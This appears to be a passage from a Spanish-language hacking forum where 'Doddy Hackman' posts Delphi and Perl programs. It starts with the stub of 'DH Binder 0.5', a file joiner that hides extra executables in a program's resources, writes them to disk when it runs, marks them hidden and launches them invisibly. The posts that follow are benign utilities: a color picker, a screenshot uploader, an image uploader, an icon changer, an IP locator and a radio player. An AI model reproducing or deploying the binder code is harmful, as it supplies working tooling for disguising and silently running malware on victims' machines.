      + stubgenerado), True);

    for i := 0 to ListView1.Items.Count - 1 do
    begin

      nombre := ListView1.Items[i].Caption;
      ruta := ListView1.Items[i].SubItems[0];
      tipo := ListView1.Items[i].SubItems[1];

      lineafinal := '[nombre]' + nombre + '[nombre][tipo]' + tipo +
        '[tipo][dir]' + savein + '[dir][hide]' + opcionocultar + '[hide]';
      lineafinal := '[63686175]' + dhencode(UpperCase(lineafinal), 'encode') +
        '[63686175]';

      dos := CreateFile(PChar(ruta), GENERIC_READ, FILE_SHARE_READ, nil,
        OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
      tam := GetFileSize(dos, nil);
      GetMem(todo, tam);
      ReadFile(dos, todo^, tam, tres, nil);
      CloseHandle(dos);
      UpdateResource(uno, RT_RCDATA, PChar(lineafinal),
        MAKEWord(LANG_NEUTRAL, SUBLANG_NEUTRAL), todo, tam);

    end;

    EndUpdateResource(uno, False);

    if not(Edit1.Text = '') then
    begin
      try
        begin
          change := BeginUpdateResourceW
            (PWideChar(wideString(ExtractFilePath(Application.ExeName) + '/' +
            stubgenerado)), False);
          LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0,
            PWideChar(wideString(Edit1.Text)));
          EndUpdateResourceW(change, False);
          StatusBar1.Panels[0].Text := '[+] Done ';
          Form1.StatusBar1.Update;
        end;
      except
        begin
          StatusBar1.Panels[0].Text := '[-] Error';
          Form1.StatusBar1.Update;
        end;
      end;
    end
    else
    begin
      StatusBar1.Panels[0].Text := '[+] Done ';
      Form1.StatusBar1.Update;
    end;
  end;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
  if OpenDialog2.Execute then
  begin
    Image2.Picture.LoadFromFile(OpenDialog2.FileName);
    Edit1.Text := OpenDialog2.FileName;
  end;
end;

procedure TForm1.CleanList1Click(Sender: TObject);
begin
  ListView1.Items.Clear;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  OpenDialog1.InitialDir := GetCurrentDir;
  OpenDialog2.InitialDir := GetCurrentDir;
  OpenDialog2.Filter := 'Icons|*.ico|';
end;

end.

// The End ?


El stub.

Código: delphi

// DH Binder 0.5
// (C) Doddy Hackman 2014
// Credits :
// Joiner Based in : "Ex Binder v0.1" by TM
// Icon Changer based in : "IconChanger" By Chokstyle
// Thanks to TM & Chokstyle

program stub;

uses
  Windows,
  SysUtils,
  ShellApi;

// Functions

function regex(text: String; deaca: String; hastaaca: String): String;
begin
  Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
  SetLength(text, AnsiPos(hastaaca, text) - 1);
  Result := text;
end;

function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
  num: integer;
  aca: string;
  cantidad: integer;

begin

  num := 0;
  Result := '';
  aca := '';
  cantidad := 0;

  if (opcion = 'encode') then
  begin
    cantidad := Length(texto);
    for num := 1 to cantidad do
    begin
      aca := IntToHex(ord(texto[num]), 2);
      Result := Result + aca;
    end;
  end;

  if (opcion = 'decode') then
  begin
    cantidad := Length(texto);
    for num := 1 to cantidad div 2 do
    begin
      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
      Result := Result + aca;
    end;
  end;

end;

//

// Start the game

function start(tres: THANDLE; cuatro, cinco: PChar; seis: DWORD): BOOL; stdcall;
var
  data: DWORD;
  uno: DWORD;
  dos: DWORD;
  cinco2: string;
  nombre: string;
  tipodecarga: string;
  ruta: string;
  ocultar: string;

begin

  Result := True;

  cinco2 := cinco;
  cinco2 := regex(cinco2, '[63686175]', '[63686175]');
  cinco2 := dhencode(cinco2, 'decode');
  cinco2 := LowerCase(cinco2);

  nombre := regex(cinco2, '[nombre]', '[nombre]');
  tipodecarga := regex(cinco2, '[tipo]', '[tipo]');
  ruta := GetEnvironmentVariable(regex(cinco2, '[dir]', '[dir]')) + '/';
  ocultar := regex(cinco2, '[hide]', '[hide]');

  data := FindResource(0, cinco, cuatro);

  uno := CreateFile(PChar(ruta + nombre), GENERIC_WRITE, FILE_SHARE_WRITE, nil,
    CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
  WriteFile(uno, LockResource(LoadResource(0, data))^, SizeOfResource(0, data),
    dos, nil);

  CloseHandle(uno);

  if (ocultar = '1') then
  begin
    SetFileAttributes(PChar(ruta + nombre), FILE_ATTRIBUTE_HIDDEN);
  end;

  if (tipodecarga = 'normal') then
  begin
    ShellExecute(0, 'open', PChar(ruta + nombre), nil, nil, SW_SHOWNORMAL);
  end
  else
  begin
    ShellExecute(0, 'open', PChar(ruta + nombre), nil, nil, SW_HIDE);
  end;

end;

begin

  EnumResourceNames(0, RT_RCDATA, @start, 0);

end.

// The End ?


Si lo quieren bajar lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
#188
Delphi / [Delphi] DH GetColor 0.3
Mayo 16, 2014, 01:21:11 PM
Version final de este programa para encontrar el color de un pixel.

Una imagen :



El codigo :

Código: delphi

// DH GetColor 0.3
// (C) Doddy Hackman 2014
// Credits :
// Based on  : http://stackoverflow.com/questions/15155505/get-pixel-color-under-mouse-cursor-fast-way
// Based on : http://www.coldtail.com/wiki/index.php?title=Borland_Delphi_Example_-_Show_pixel_color_under_mouse_cursor

unit dh;

interface

uses
  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  System.Classes, Vcl.Graphics,
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.ComCtrls, Vcl.Imaging.pngimage,
  Vcl.ExtCtrls, Vcl.StdCtrls, Vcl.Clipbrd;

type
  TForm1 = class(TForm)
    Image1: TImage;
    StatusBar1: TStatusBar;
    Timer1: TTimer;
    GroupBox1: TGroupBox;
    Shape1: TShape;
    GroupBox2: TGroupBox;
    Memo1: TMemo;
    Label1: TLabel;
    Label2: TLabel;
    Timer2: TTimer;
    procedure Timer1Timer(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure Timer2Timer(Sender: TObject);

  private
    capturanow: HDC;
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
begin

  capturanow := GetDC(0);
  if (capturanow <> 0) then
  begin
    Timer1.Enabled := True;
  end;

end;

procedure TForm1.Timer1Timer(Sender: TObject);
var
  aca: TPoint;
  color: TColor;
  re: string;

begin

  if GetCursorPos(aca) then
  begin
    color := GetPixel(capturanow, aca.X, aca.Y);
    Shape1.Brush.color := color;
    re := IntToHex(GetRValue(color), 2) + IntToHex(GetGValue(color), 2) +
      IntToHex(GetBValue(color), 2);
    Label2.Caption := re;
    StatusBar1.Panels[0].Text := '[+] Finding colors ...';
    Form1.StatusBar1.Update;
  end;
end;

procedure TForm1.Timer2Timer(Sender: TObject);
var
  re: Longint;
begin

  re := GetAsyncKeyState(65);
  if re = -32767 then
  begin
    Clipboard.AsText := Label2.Caption;
    StatusBar1.Panels[0].Text := '[+] Color copied to clipboard';
    Form1.StatusBar1.Update;
  end;

end;

end.

// The End ?


Si quieren bajar el programa lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
#189
Delphi / [Delphi] DH ScreenShoter 0.3
Mayo 09, 2014, 03:22:52 PM
Version final de este programa para sacar un screenshot y subirlo ImageShack.

Una imagen :



El codigo :

Código: delphi

// DH Screenshoter 0.3
// (C) Doddy Hackman 2014
// Based in the API of : https://imageshack.com/

unit screen;

interface

uses
  Windows, System.SysUtils, System.Variants,
  System.Classes, Graphics,
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.Imaging.pngimage, Vcl.ExtCtrls,
  Vcl.ComCtrls, Vcl.StdCtrls, Jpeg, ShellApi, IdMultipartFormData,
  IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, PerlRegEx,
  about;

type
  TForm1 = class(TForm)
    Image1: TImage;
    StatusBar1: TStatusBar;
    GroupBox1: TGroupBox;
    CheckBox1: TCheckBox;
    Edit1: TEdit;
    CheckBox2: TCheckBox;
    Edit2: TEdit;
    Label1: TLabel;
    CheckBox3: TCheckBox;
    CheckBox4: TCheckBox;
    GroupBox2: TGroupBox;
    Edit3: TEdit;
    GroupBox3: TGroupBox;
    Button1: TButton;
    Button2: TButton;
    Button3: TButton;
    Button4: TButton;
    IdHTTP1: TIdHTTP;
    procedure Button1Click(Sender: TObject);
    procedure Button4Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure Button3Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}
// Functions

procedure capturar(nombre: string);

// Function capturar() based in :
// http://forum.codecall.net/topic/60613-how-to-capture-screen-with-delphi-code/
// http://delphi.about.com/cs/adptips2001/a/bltip0501_4.htm
// http://stackoverflow.com/questions/21971605/show-mouse-cursor-in-screenshot-with-delphi
// Thanks to Zarko Gajic , Luthfi and Ken White

var
  aca: HDC;
  tan: TRect;
  posnow: TPoint;
  imagen1: TBitmap;
  imagen2: TJpegImage;
  curnow: THandle;

begin

  aca := GetWindowDC(GetDesktopWindow);
  imagen1 := TBitmap.Create;

  GetWindowRect(GetDesktopWindow, tan);
  imagen1.Width := tan.Right - tan.Left;
  imagen1.Height := tan.Bottom - tan.Top;
  BitBlt(imagen1.Canvas.Handle, 0, 0, imagen1.Width, imagen1.Height, aca, 0,
    0, SRCCOPY);

  GetCursorPos(posnow);

  curnow := GetCursor;
  DrawIconEx(imagen1.Canvas.Handle, posnow.X, posnow.Y, curnow, 32, 32, 0, 0,
    DI_NORMAL);

  imagen2 := TJpegImage.Create;
  imagen2.Assign(imagen1);
  imagen2.CompressionQuality := 60;
  imagen2.SaveToFile(nombre);

  imagen1.Free;
  imagen2.Free;

end;

//

procedure TForm1.Button1Click(Sender: TObject);
var
  fecha: TDateTime;
  fechafinal: string;
  nombrefecha: string;
  i: integer;
  datos: TIdMultiPartFormDataStream;
  code: string;
  regex: TPerlRegEx;
  url: string;

begin

  Edit3.Text := '';
  regex := TPerlRegEx.Create();

  fecha := now();
  fechafinal := DateTimeToStr(fecha);
  nombrefecha := fechafinal + '.jpg';

  nombrefecha := StringReplace(nombrefecha, '/', ':',
    [rfReplaceAll, rfIgnoreCase]);
  nombrefecha := StringReplace(nombrefecha, ' ', '',
    [rfReplaceAll, rfIgnoreCase]);
  nombrefecha := StringReplace(nombrefecha, ':', '_',
    [rfReplaceAll, rfIgnoreCase]);

  if (CheckBox2.Checked) then
  begin
    for i := 1 to StrToInt(Edit2.Text) do
    begin
      StatusBar1.Panels[0].Text := '[+] Taking picture on  : ' + IntToStr(i) +
        ' seconds ';
      Form1.StatusBar1.Update;
      Sleep(i * 1000);
    end;
  end;

  Form1.Hide;

  Sleep(1000);

  if (CheckBox1.Checked) then
  begin
    capturar(Edit1.Text);
  end
  else
  begin
    capturar(nombrefecha);
  end;

  Form1.Show;

  StatusBar1.Panels[0].Text := '[+] Photo taken';
  Form1.StatusBar1.Update;

  if (CheckBox4.Checked) then
  begin

    StatusBar1.Panels[0].Text := '[+] Uploading ...';
    Form1.StatusBar1.Update;

    datos := TIdMultiPartFormDataStream.Create;
    datos.AddFormField('key', '');
    // Fuck You

    if (CheckBox1.Checked) then
    begin
      datos.AddFile('fileupload', Edit1.Text, 'application/octet-stream');
    end
    else
    begin
      datos.AddFile('fileupload', nombrefecha, 'application/octet-stream');
    end;
    datos.AddFormField('format', 'json');

    code := IdHTTP1.Post('http://post.imageshack.us/upload_api.php', datos);

    regex.regex := '"image_link":"(.*?)"';
    regex.Subject := code;

    if regex.Match then
    begin
      url := regex.Groups[1];
      url := StringReplace(url, '\', '', [rfReplaceAll, rfIgnoreCase]);
      Edit3.Text := url;
      StatusBar1.Panels[0].Text := '[+] Done';
      Form1.StatusBar1.Update;
    end
    else
    begin
      StatusBar1.Panels[0].Text := '[-] Error uploading';
      Form1.StatusBar1.Update;
    end;
  end;

  if (CheckBox3.Checked) then
  begin
    if (CheckBox1.Checked) then
    begin
      ShellExecute(Handle, 'open', Pchar(Edit1.Text), nil, nil, SW_SHOWNORMAL);
    end
    else
    begin
      ShellExecute(Handle, 'open', Pchar(nombrefecha), nil, nil, SW_SHOWNORMAL);
    end;
  end;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
  Edit3.SelectAll;
  Edit3.CopyToClipboard;
end;

procedure TForm1.Button3Click(Sender: TObject);
begin
  Form2.Show;
end;

procedure TForm1.Button4Click(Sender: TObject);
begin
  Form1.Close();
  Form2.Close();
end;

end.

// The End ?


Si quieren bajar el programa lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
#190
Delphi / [Delphi] ImageShack Uploader 0.3
Mayo 02, 2014, 06:02:11 PM
Version Final de este programa para subir imagenes a ImageShack usando el API que ofrecen.

Una imagen :



El codigo :

Código: delphi

// ImageShack Uploader 0.3
// Based in the API of ImageShack
// Coded By Doddy H

unit image;

interface

uses
  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  System.Classes, Vcl.Graphics,
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, IdBaseComponent, IdComponent,
  IdTCPConnection, IdTCPClient, IdHTTP, Vcl.Imaging.pngimage, Vcl.ExtCtrls,
  Vcl.ComCtrls, Vcl.StdCtrls, about, IdMultipartFormData, PerlRegEx;

type
  TForm1 = class(TForm)
    IdHTTP1: TIdHTTP;
    Image1: TImage;
    StatusBar1: TStatusBar;
    GroupBox1: TGroupBox;
    Edit1: TEdit;
    Button1: TButton;
    OpenDialog1: TOpenDialog;
    GroupBox2: TGroupBox;
    Edit2: TEdit;
    GroupBox3: TGroupBox;
    Button2: TButton;
    Button3: TButton;
    Button4: TButton;
    Button5: TButton;
    procedure Button4Click(Sender: TObject);
    procedure Button1Click(Sender: TObject);
    procedure Button3Click(Sender: TObject);
    procedure Button5Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
begin
  if OpenDialog1.Execute then
  begin
    Edit1.Text := OpenDialog1.FileName;
  end;
end;

procedure TForm1.Button2Click(Sender: TObject);
var
  regex: TPerlRegEx;
  datos: TIdMultiPartFormDataStream;
  code: string;
  url: string;

begin

  if FileExists(Edit1.Text) then
  begin

    regex := TPerlRegEx.Create();

    StatusBar1.Panels[0].Text := '[+] Uploading ...';
    Form1.StatusBar1.Update;

    datos := TIdMultiPartFormDataStream.Create;
    datos.AddFormField('key', '');
    // Fuck You
    datos.AddFile('fileupload', Edit1.Text, 'application/octet-stream');
    datos.AddFormField('format', 'json');

    code := IdHTTP1.Post('http://post.imageshack.us/upload_api.php', datos);

    regex.regex := '"image_link":"(.*?)"';
    regex.Subject := code;

    if regex.Match then
    begin
      url := regex.Groups[1];
      url := StringReplace(url, '\', '', [rfReplaceAll, rfIgnoreCase]);
      Edit2.Text := url;
      StatusBar1.Panels[0].Text := '[+] Done';
      Form1.StatusBar1.Update;

    end
    else
    begin
      StatusBar1.Panels[0].Text := '[-] Error uploading';
      Form1.StatusBar1.Update;
    end;

    regex.Free;

  end
  else
  begin
    StatusBar1.Panels[0].Text := '[+] File not Found';
    Form1.StatusBar1.Update;
  end;

end;

procedure TForm1.Button3Click(Sender: TObject);
begin
  Edit2.SelectAll;
  Edit2.CopyToClipboard;
end;

procedure TForm1.Button4Click(Sender: TObject);
begin
  Form2.Show;
end;

procedure TForm1.Button5Click(Sender: TObject);
begin
  Form1.Close();
  Form2.Close();
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  OpenDialog1.InitialDir := GetCurrentDir;
end;

end.

// The End ?


Si lo quieren bajar lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
#191
Delphi / [Delphi] DH Icon Changer 0.5
Abril 11, 2014, 01:36:13 PM
Version final de este programa para cambiarle el icono a cualquier programa (eso creo).

Una imagen :



El codigo.

Código: delphi

// DH Icon Changer 0.5
// (C) Doddy Hackman 2014
// Based on IconChanger By Chokstyle
// Thanks to Chokstyle

unit icon;

interface

uses
  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  System.Classes, Vcl.Graphics,
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, madRes, Vcl.StdCtrls,
  Vcl.Imaging.pngimage, Vcl.ExtCtrls, Vcl.ComCtrls, about;

type
  TForm1 = class(TForm)
    Image1: TImage;
    GroupBox1: TGroupBox;
    Edit1: TEdit;
    Button1: TButton;
    OpenDialog1: TOpenDialog;
    StatusBar1: TStatusBar;
    GroupBox2: TGroupBox;
    GroupBox3: TGroupBox;
    Button2: TButton;
    GroupBox4: TGroupBox;
    Button3: TButton;
    Button4: TButton;
    Button5: TButton;
    Edit2: TEdit;
    Image2: TImage;
    OpenDialog2: TOpenDialog;
    procedure Button1Click(Sender: TObject);
    procedure Button4Click(Sender: TObject);
    procedure Button5Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure Button3Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
begin
  if OpenDialog1.Execute then
  begin
    Edit1.Text := OpenDialog1.FileName;
  end;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin

  if OpenDialog2.Execute then
  begin
    Image2.Picture.LoadFromFile(OpenDialog2.FileName);
    Edit2.Text := OpenDialog2.FileName;
  end;

end;

procedure TForm1.Button3Click(Sender: TObject);
var
  op: string;
  change: dword;
  valor: string;

begin

  valor := IntToStr(128);

  op := InputBox('Backup', 'Backup ?', 'Yes');

  if op = 'Yes' then
  begin
    CopyFile(PChar(Edit1.Text), PChar(ExtractFilePath(Application.ExeName) +
      'backup' + ExtractFileExt(Edit1.Text)), True);
  end;

  try
    begin
      change := BeginUpdateResourceW(PWideChar(wideString(Edit1.Text)), false);
      LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0,
        PWideChar(wideString(Edit2.Text)));
      EndUpdateResourceW(change, false);
      StatusBar1.Panels[0].Text := '[+] Changed !';
      Form1.StatusBar1.Update;
    end;
  except
    begin
      StatusBar1.Panels[0].Text := '[-] Error';
      Form1.StatusBar1.Update;

    end;
  end;
end;

procedure TForm1.Button4Click(Sender: TObject);
begin
  Form2.Show;
end;

procedure TForm1.Button5Click(Sender: TObject);
begin
  Form1.Close();
  Form2.Close();
end;

procedure TForm1.FormCreate(Sender: TObject);
begin

  OpenDialog1.InitialDir := GetCurrentDir;
  OpenDialog2.InitialDir := GetCurrentDir;
  OpenDialog2.Filter := 'Icons|*.ico|';

end;

end.

// The End ?


Si quieren bajar el programa lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
#192
Delphi / [Delphi] LocateIP 0.5
Abril 04, 2014, 03:15:56 PM
Version final de este programa para localizar la IP y DNS de una pagina.

Una imagen :



El codigo :

Código: delphi

// LocateIP 0.5
// (C) Doddy Hackman 2014
// Credits :
// Based on the services :
// To get IP -- http://whatismyipaddress.com/
// To locate IP -- http://www.melissadata.com/
// To get DNS -- http://www.ip-adress.com/
// Thanks to whatismyipaddress.com , www.melissadata.com , www.ip-adress.com

unit locate;

interface

uses
  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  System.Classes, Vcl.Graphics,
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, Vcl.ComCtrls,
  IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, PerlRegEx,
  IdMultipartFormData, Vcl.Imaging.pngimage, Vcl.ExtCtrls;

type
  TForm1 = class(TForm)
    GroupBox1: TGroupBox;
    Edit1: TEdit;
    Button1: TButton;
    GroupBox2: TGroupBox;
    Edit2: TEdit;
    Edit3: TEdit;
    Edit4: TEdit;
    StatusBar1: TStatusBar;
    Label1: TLabel;
    Label2: TLabel;
    Label3: TLabel;
    IdHTTP1: TIdHTTP;
    Image1: TImage;
    GroupBox3: TGroupBox;
    ListBox1: TListBox;
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
var
  regex: TPerlRegEx;
  par: TIdMultiPartFormDataStream;
  rta: string;
  z: integer;

begin

  regex := TPerlRegEx.Create();

  par := TIdMultiPartFormDataStream.Create;
  par.AddFormField('DOMAINNAME', Edit1.text);

  StatusBar1.Panels[0].text := '[+] Getting IP ...';
  Form1.StatusBar1.Update;

  rta := IdHTTP1.Post('http://whatismyipaddress.com/hostname-ip', par);

  regex.regex := 'Lookup IP Address: <a href=(.*)>(.*)<\/a>';
  regex.Subject := rta;

  if regex.Match then
  begin
    Edit1.text := regex.Groups[2];

    StatusBar1.Panels[0].text := '[+] Locating ...';
    Form1.StatusBar1.Update;

    rta := IdHTTP1.Get
      ('http://www.melissadata.com/lookups/iplocation.asp?ipaddress=' +
      Edit1.text);

    regex.regex := 'City<\/td><td align=(.*)><b>(.*)<\/b><\/td>';
    regex.Subject := rta;

    if regex.Match then
    begin
      Edit2.text := regex.Groups[2];
    end
    else
    begin
      Edit2.text := 'Not Found';
    end;

    regex.regex := 'Country<\/td><td align=(.*)><b>(.*)<\/b><\/td>';
    regex.Subject := rta;

    if regex.Match then
    begin
      Edit3.text := regex.Groups[2];
    end
    else
    begin
      Edit3.text := 'Not Found';
    end;

    regex.regex := 'State or Region<\/td><td align=(.*)><b>(.*)<\/b><\/td>';
    regex.Subject := rta;

    if regex.Match then
    begin
      Edit4.text := regex.Groups[2];
    end
    else
    begin
      Edit4.text := 'Not Found';
    end;

    StatusBar1.Panels[0].text := '[+] Getting DNS ...';
    Form1.StatusBar1.Update;

    ListBox1.Items.Clear;

    rta := IdHTTP1.Get('http://www.ip-adress.com/reverse_ip/' + Edit1.text);

    regex.regex := 'whois\/(.*?)\">Whois';
    regex.Subject := rta;

    while regex.MatchAgain do
    begin
      for z := 1 to regex.GroupCount do
        ListBox1.Items.Add(regex.Groups[z]);
    end;

  end
  else
  begin
    StatusBar1.Panels[0].text := '[-] Error';
    Form1.StatusBar1.Update;
  end;

  StatusBar1.Panels[0].text := '[+] Finished';
  Form1.StatusBar1.Update;

  regex.Free;

end;

end.

// The End ?


Si lo quieren bajar lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
#193
Perl / [Perl] Radio X 0.4
Marzo 28, 2014, 12:29:07 PM
Actualice mi programa en perl llamado "Radio X" debido a que las emisoras no me gustaban , asi que actualice el hash con 31 estaciones , todas de diferentes generos , aunque la unica que siempre escucho siempre es la de musica clasica.

Aclaracion de dependencia :

Aclaro que necesitan bajar el mplayer , esta el link de descarga en el script , una vez que lo tengan descargado y descomprimido creen una carpeta llamada
"mplayer" y copian todos los archivos del archivo descomprimido en la carpeta recien creada , todo esto tiene que ser en el mismo directorio donde este el script.

El codigo :

Código: perl

#!usr/bin/perl
#Radio X
#Version 0.4
#(C) Doddy Hackman 2014
#
#Download : http://www.mplayerhq.hu/MPlayer/releases/win32/MPlayer-mingw32-1.0rc2.zip
#

use Cwd;

my @emisoras = (

    {},

    {

        "nombre" => "idobi Radio",
        "genero" => "Alternative",
        "link"   => "http://69.46.88.21:80"

    },

    {

        "nombre" => "BLUES RADIO (1.FM TM)",
        "genero" => "Blues",
        "link"   => "http://205.164.35.58:80"

    },

    {

        "nombre" => "Venice Classic Radio Italia",
        "genero" => "Classical",
        "link"   => "http://174.36.206.197:8000"

    },

    {

        "nombre" => "100hitz - New Country",
        "genero" => "Country",
        "link"   => "http://69.4.234.186:9210"

    },

    {

        "nombre" => "RADIO 7 - POLNOCNE",
        "genero" => "Decades",
        "link"   => "http://94.23.36.107:443"

    },

    {

        "nombre" => "COOLfahrenheit 93",
        "genero" => "Easy Listening",
        "link"   => "http://203.150.225.77:8400"

    },

    {

        "nombre" => "Ibiza Global Radio",
        "genero" => "Electronic",
        "link"   => "http://198.50.197.161:8024"

    },

    {

        "nombre" => "HBR1.com - I.D.M. Tranceponder",
        "genero" => "Trance",
        "link"   => "http://ubuntu.hbr1.com:19800/trance.ogg"

    },

    {

        "nombre" => "COOL radio - Beograd",
        "genero" => "Folk",
        "link"   => "http://176.9.30.66:80"

    },

    {

        "nombre" => "COOL radio - Beograd",
        "genero" => "Folk",
        "link"   => "http://176.9.30.66:80"

    },

    {

        "nombre" => "HPR4",
        "genero" => "Inspirational",
        "link"   => "http://50.7.77.179:8024"

    },

    {

        "nombre" => "Radio Carsija - Melli",
        "genero" => "International",
        "link"   => "http://80.237.153.95:19406"

    },

    {

        "nombre" => "TheJazzGroove.com",
        "genero" => "Jazz",
        "link"   => "http://199.180.72.2:8015"

    },

    {

        "nombre" => "Paisa Estereo",
        "genero" => "Latin",
        "link"   => "http://199.217.118.10:7094"

    },

    {

        "nombre" => "RockRadio1.Com",
        "genero" => "Metal",
        "link"   => "http://77.74.192.50:8000"

    },

    {

        "nombre" => "Adom 106.3FM",
        "genero" => "Misc",
        "link"   => "http://67.159.60.45:8100"

    },

    {

        "nombre" => "Healing",
        "genero" => "New Age",
        "link"   => "http://222.122.178.183:11070"

    },

    {

        "nombre" => "RADIO SOUND POP",
        "genero" => "Pop",
        "link"   => "http://99.198.118.250:8076"

    },

    {

        "nombre" => "Latido 90.1 FM",
        "genero" => "Public Radio",
        "link"   => "http://64.251.21.48:42000"

    },

    {

        "nombre" => "Radio Mandela",
        "genero" => "Funk",
        "link"   => "http://184.154.150.93:9010"

    },

    {

        "nombre" => "Boneyaad Radio",
        "genero" => "Rap",
        "link"   => "http://69.175.103.226:8180"

    },

    {

        "nombre" => "Reggae141.com",
        "genero" => "Reggae",
        "link"   => "http://184.107.197.154:8002"

    },

    {

        "nombre" => "Classic Rock 915",
        "genero" => "Rock",
        "link"   => "http://117.53.175.113:15018"

    },

    {

        "nombre" => "181.fm - Rock 181 (Active Rock)",
        "genero" => "Rock",
        "link"   => "http://108.61.73.118:14008"

    },

    {

        "nombre" => "181.FM - The Buzz",
        "genero" => "Rock",
        "link"   => "http://108.61.73.119:14126"

    },

    {

        "nombre" => "181.FM - Good Time Oldies",
        "genero" => "Rock",
        "link"   => "http://108.61.73.118:14046"

    },

    {

        "nombre" => "Top40",
        "genero" => "Pop Dance R&B Rock",
        "link"   => "http://95.141.24.79:80"

    },

    {

        "nombre" => "MUSIK.ORIENTAL",
        "genero" => "Seasonal and Holiday",
        "link"   => "http://193.34.51.40:80"

    },

    {

        "nombre" => "NOVA 100.3",
        "genero" => "Soundtracks",
        "link"   => "http://117.53.175.113:15010"

    },

    {

        "nombre" => "Alex Jones - Infowars.com",
        "genero" => "Talk",
        "link"   => "http://50.7.130.109:80"

    },

    {

        "nombre" => "illusive Radio Punta",
        "genero" => "Themes",
        "link"   => "http://38.96.148.141:9996"

    }

);

$SIG{INT} = \&retorno;

chdir( getcwd() . "/mplayer/" );

menu();

sub retorno {
    print "\n\n[+] Press any key for return to the menu\n\n";
    <stdin>;
    clean();
    menu();
}

sub menu {

    head();

    print "\n\n[+] Listing ["
      . int( @emisoras - 1 ) . "] "
      . "stations found ...\n";

    for my $em ( 1 .. @emisoras - 1 ) {

        print "\n[+] ID : " . $em . "\n";
        print "[+] Name : " . $emisoras[$em]->{nombre} . "\n";
        print "[+] Type : " . $emisoras[$em]->{genero} . "\n";

        #print "[$em] - ".$emisoras[$em]->{genero}."\n";

    }

    print "\n[+] Write exit to go out\n";

    print "\n[+] Option : ";
    chomp( my $op = <stdin> );

    if ( $op eq "exit" ) {
        copyright();
    }

    if ( $op =~ /\d+/ ) {
        print "\n[!] Listening : " . $emisoras[$op]->{link} . " ...\n\n";
        system("mplayer $emisoras[$op]->{link}");
    }

    copyright();

}

sub head {

    clean();

    print qq(


@@@@@     @    @@@@    @   @@@@     @     @
@    @    @    @   @   @  @    @    @     @
@    @   @ @   @    @  @  @    @     @   @
@    @   @ @   @    @  @  @    @      @ @ 
@@@@@   @   @  @    @  @  @    @       @   
@    @  @   @  @    @  @  @    @      @ @ 
@    @  @@@@@  @    @  @  @    @     @   @
@    @ @     @ @   @   @  @    @    @     @
@    @ @     @ @@@@    @   @@@@     @     @

);

}

sub copyright {
    print "\n\n-- == (C) Doddy Hackman 2014 == --\n\n";
    <stdin>;
    exit(1);
}

sub clean {
    my $os = $^O;
    if ( $os =~ /Win32/ig ) {
        system("cls");
    }
    else {
        system("clear");
    }
}

#The End ?



Un ejemplo de uso

Código: text




@@@@@     @    @@@@    @   @@@@     @     @
@    @    @    @   @   @  @    @    @     @
@    @   @ @   @    @  @  @    @     @   @
@    @   @ @   @    @  @  @    @      @ @
@@@@@   @   @  @    @  @  @    @       @
@    @  @   @  @    @  @  @    @      @ @
@    @  @@@@@  @    @  @  @    @     @   @
@    @ @     @ @   @   @  @    @    @     @
@    @ @     @ @@@@    @   @@@@     @     @



[+] Listing [31] stations found ...

[+] ID : 1
[+] Name : idobi Radio
[+] Type : Alternative

[+] ID : 2
[+] Name : BLUES RADIO (1.FM TM)
[+] Type : Blues

[+] ID : 3
[+] Name : Venice Classic Radio Italia
[+] Type : Classical

[+] ID : 4
[+] Name : 100hitz - New Country
[+] Type : Country

[+] ID : 5
[+] Name : RADIO 7 - POLNOCNE
[+] Type : Decades

[+] ID : 6
[+] Name : COOLfahrenheit 93
[+] Type : Easy Listening

